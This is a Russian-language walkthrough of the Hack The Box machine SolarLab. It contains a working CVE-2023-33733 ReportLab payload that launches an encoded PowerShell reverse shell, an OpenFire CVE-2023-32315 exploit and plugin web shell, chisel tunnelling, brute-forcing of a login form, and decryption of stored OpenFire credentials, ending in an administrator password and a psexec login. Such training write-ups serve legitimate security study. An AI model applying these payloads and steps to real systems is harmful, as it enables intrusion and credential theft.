В этом рай­тапе я покажу, как получить шелл и рас­шифро­вать учет­ные дан­ные из сер­виса OpenFire. Но преж­де про­ник­нем на сер­вер, работа­ющий на Windows, путем экс­плу­ата­ции уяз­вимос­ти в биб­лиоте­ке ReportLab.

На­ша цель — получе­ние прав супер­поль­зовате­ля на машине SolarLab с учеб­ной пло­щад­ки Hack The Box. Уро­вень слож­ности задания — сред­ний.

warning

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

Разведка

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.16 solarlab.htb

И запус­каем ска­ниро­вание пор­тов.

Результат работы скрипта
Ре­зуль­тат работы скрип­та

По резуль­татам ска­ниро­вания име­ем нес­коль­ко откры­тых пор­тов, типич­ных для сис­тем Windows:

По логу вид­но, что с пор­та 6791 выпол­няет­ся редирект на домен report.solarlab.htb. Сра­зу добавим запись в файл /etc/hosts.

10.10.11.16 solarlab.htb report.solarlab.htb

Точка входа

Пер­вым делом про­веря­ем, раз­решен ли вход от име­ни гос­тевой учет­ной записи по SMB.

nxc smb 10.10.11.16 -u guest -p ''
Аутентификация от имени гостя
Аутен­тифика­ция от име­ни гос­тя

Так как аутен­тифика­ция прош­ла успешно, мы можем прос­мотреть общие катало­ги SMB. Чаще все­го аутен­тифика­ция для ано­нима вклю­чает­ся имен­но для дос­тупа к каким‑то общим ресур­сам.

nxc smb 10.10.11.16 -u guest -p '' --shares
Общие ресурсы SMB
Об­щие ресур­сы SMB

Так­же мы можем проб­рутить RID объ­ектов, таких как поль­зовате­ли и груп­пы.

nxc smb 10.10.11.16 -u guest -p '' --rid-brute
Список пользователей и групп
Спи­сок поль­зовате­лей и групп

Те­перь вер­немся к общим катало­гам. Нам дос­тупен для чте­ния каталог Documents, в котором могут быть важ­ные дан­ные.

smbclient.py ./guest:''@10.10.11.16
use Documents
Содержимое каталога Documents
Со­дер­жимое катало­га Documents

Из Documents забира­ем докумен­ты XLSX и DOCX. Еще два докумен­та забира­ем из вло­жен­ного катало­га concepts.

Содержимое каталога concepts
Со­дер­жимое катало­га concepts

В докумен­тах полез­ной информа­ции най­ти не уда­лось, а вот в таб­лице есть спис­ки учет­ных дан­ных для раз­ных ресур­сов.

Содержимое файла details-file.xlsx
Со­дер­жимое фай­ла details-file.xlsx

К SMB эти учет­ные дан­ные не подош­ли, поэто­му наконец перехо­дим к вебу. Сайт на 80-м пор­те боль­ше напоми­нает визит­ку. Зато на нем мы находим спи­сок поль­зовате­лей, которые были в таб­лице.

Главная страница сайта solarlab.htb
Глав­ная стра­ница сай­та solarlab.htb
Сотрудники организации
Сот­рудни­ки орга­низа­ции

На пор­те 6791 нас встре­чает фор­ма авто­риза­ции.

Страница авторизации на report.solarlab.htb:6791
Стра­ница авто­риза­ции на report.solarlab.htb:6791

Точка опоры

В таб­лице пред­став­лено нес­коль­ко вари­антов име­ни поль­зовате­ля, поэто­му для рас­кры­тых юзе­ров сос­тавля­ем спи­сок с логина­ми и поч­тами и отдель­но выписы­ваем из таб­лицы пароли. А затем проб­рутим их в фор­ме авто­риза­ции на ReportHub с исполь­зовани­ем Burp Intruder.

Burp Intruder — вкладка Positions
Burp Intruder — вклад­ка Positions
Burp Intruder — вкладка Payloads
Burp Intruder — вклад­ка Payloads
Burp Intruder — результат перебора
Burp Intruder — резуль­тат перебо­ра

В ито­ге находим одну валид­ную пару из логина и пароля, с которой авто­ризу­емся на сай­те.

Главная страница сайта
Глав­ная стра­ница сай­та

Сайт пред­лага­ет четыре фун­кции. Все они свя­заны с генера­цией отче­та в фор­мате PDF.

Форма генерации отчета
Фор­ма генера­ции отче­та
Сгенерированный документ
Сге­нери­рован­ный документ

В подоб­ных генера­торах неред­ко встре­чают­ся уяз­вимос­ти, поэто­му сто­ит узнать об исполь­зуемой для генера­ции биб­лиоте­ке. Эту запись обыч­но мож­но получить из метадан­ных фай­ла.

Метаданные файла
Ме­тадан­ные фай­ла

Та­ким обра­зом, мы выяс­нили, что на сер­вере исполь­зует­ся биб­лиоте­ка ReportLab PDF.

CVE-2023-33733

Сто­ит про­верить, есть ли для этой биб­лиоте­ки готовые экс­пло­иты. Пер­вым делом идем в Google.

Поиск эксплоитов в Google
По­иск экс­пло­итов в Google

И по пер­вой же ссыл­ке дос­тупен экс­пло­ит для уяз­вимос­ти CVE-2023-33733.

Ког­да при­ложе­ние обра­баты­вает HTML-содер­жимое с помощью уяз­вимой биб­лиоте­ки, вызовы вло­жен­ных фун­кций могут при­вес­ти к тому, что rl_safe_eval поз­волит выпол­нить про­изволь­ный код. В ито­ге это при­водит к запус­ку опре­делен­ной коман­ды опе­раци­онной сис­темы, и ата­кующий может получить RCE.

Для экс­плу­ата­ции уяз­вимос­ти нуж­но передать в генера­тор HTML-код с наг­рузкой в атри­буте color. В фун­кции system нуж­но ука­зать коман­ду, которая будет выпол­нена через cmd, нап­ример реверс‑шелл на PowerShell.

PoC для уязвимости
PoC для уяз­вимос­ти

В Burp History находим зап­рос, в котором переда­ются дан­ные для отче­та. Этот зап­рос переп­равим в Burp Repeater.

Запрос на сервер в Burp History
Зап­рос на сер­вер в Burp History

За­пус­каем лис­тенер для реверс‑шел­ла:

rlwrap nc -nlvp 4321

А теперь вста­вим в зап­рос наг­рузку из репози­тория и отпра­вим ее на сер­вер.

<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell -e JABjAGwAaQB.....AApAA==') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
exploit
</font></para>
Запрос на сервер
Зап­рос на сер­вер

Сра­зу же в окне лис­тенера получа­ем сес­сию поль­зовате­ля blake и чита­ем пер­вый флаг.

Флаг пользователя
Флаг поль­зовате­ля

Продвижение

Мы уже видели в сис­теме поль­зовате­ля openfire. Ско­рее все­го, на сер­вере уста­нов­лена одно­имен­ная сис­тема — OpenFire. Про­верим прос­лушива­емые пор­ты, так как по умол­чанию OpenFire занима­ет порт 9090.

netstat /an
Прослушиваемые порты
Прос­лушива­емые пор­ты

Этот порт прос­лушива­ется для адре­са 127.0.0.1, поэто­му нуж­но сде­лать тун­нель. Для это­го орга­низу­ем проб­рос пор­тов 9000 и 9001 с помощью chisel. Нам пот­ребу­ется и вер­сия для Windows, и вер­сия для Linux. Запус­тим на локаль­ном хос­те сер­вер, ука­зав порт для под­клю­чения (опция -p).

./chisel.bin server -p 8888 --reverse

За­тем заг­рузим на уда­лен­ный хост вер­сию для Windows и выпол­ним под­клю­чение, ука­зав нас­трой­ки тун­неля: [LPORT]:[ADDR]:[RPORT]. В логах сер­вера уви­дим сооб­щение о под­клю­чении кли­ент­ской час­ти.

.\chisel.exe client 10.10.16.14:8888 R:9090:127.0.0.1:9090 R:9091:127.0.0.1:9091
Логи сервера chisel
Ло­ги сер­вера chisel

Те­перь весь тра­фик с локаль­ных пор­тов 9000 и 9001 будет перенап­равлять­ся на пор­ты 9000 и 9001 уда­лен­ной машины. На сер­вере работа­ет OpenFire вер­сии 7.4.7.

Форма авторизации OpenFire
Фор­ма авто­риза­ции OpenFire

Сно­ва поищем готовые экс­пло­иты для най­ден­ного нами при­ложе­ния.

Поиск эксплоитов в Google
По­иск экс­пло­итов в Google

И сно­ва по пер­вой же ссыл­ке в Google по­луча­ем экс­пло­ит для уяз­вимос­ти CVE-2023-32315. Эта уяз­вимость в кон­соли адми­нис­три­рова­ния поз­воля­ет ата­кующе­му соз­дать сво­его поль­зовате­ля с ролью адми­нис­тра­тора OpenFire.

python3 CVE-2023-32315.py -t http://127.0.0.1:9090
Эксплуатация уязвимости
Экс­плу­ата­ция уяз­вимос­ти

С соз­данным поль­зовате­лем успешно авто­ризу­емся в сер­висе.

Главная страница OpenFire
Глав­ная стра­ница OpenFire

Имея пра­ва адми­нис­тра­тора в OpenFire, мы можем уста­новить в сер­висе свой модуль с шел­лом. Для это­го перехо­дим в раз­дел Plugins и заг­ружа­ем модуль из того же репози­тория.

Установка своего плагина
Ус­танов­ка сво­его пла­гина

За­тем перехо­дим к кон­соли уста­нов­ленно­го пла­гина через меню Server → Server Settings → Management Tool и ука­зыва­ем пароль 123.

Выбор модуля
Вы­бор модуля
Консоль модуля
Кон­соль модуля
Результат выполнения команды whoami /all
Ре­зуль­тат выпол­нения коман­ды whoami /all

Откры­ваем лис­тенер и в кон­соли OpenFire выпол­няем реверс‑шелл.

Сессия пользователя OpenFire
Сес­сия поль­зовате­ля OpenFire

Локальное повышение привилегий

У нас есть сес­сия в кон­тек­сте OpenFire, про­верим кон­фиги и логи в катало­ге embedded-db.

Содержимое каталогов OpenFire
Со­дер­жимое катало­гов OpenFire

В фай­ле openfire.script находим зашиф­рован­ные дан­ные поль­зовате­ля Administrator, а чуть даль­ше по логам — и ключ шиф­рования passwordKey.

Содержимое файла openfire.script
Со­дер­жимое фай­ла openfire.script

Бег­лый поиск в Google вывел меня на скрипт для рас­шифров­ки дан­ных OpenFire. Сна­чала ком­пилиру­ем файл .java, затем запус­каем соб­ранную ути­литу и переда­ем ей зашиф­рован­ную стро­ку и ключ.

javac OpenFireDecryptPass.java
java OpenFireDecryptPass becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442 hGXiFzsKaAeYLjn
Расшифрованные данные
Рас­шифро­ван­ные дан­ные

По­луча­ем пароль адми­нис­тра­тора и валиди­руем его для адми­нис­тра­тив­ной учет­ной записи.

nxc smb 10.10.11.16 -u Administrator -p 'ThisPasswordShouldDo!@'
Проверка учетных данных
Про­вер­ка учет­ных дан­ных

Та­ким обра­зом, у нас есть учет­ные дан­ные адми­нис­тра­тора. Получа­ем сес­сию через psexec и чита­ем флаг рута.

psexec.py ./Administrator:'ThisPasswordShouldDo!@'@10.10.11.16
Флаг рута
Флаг рута

Ма­шина зах­вачена!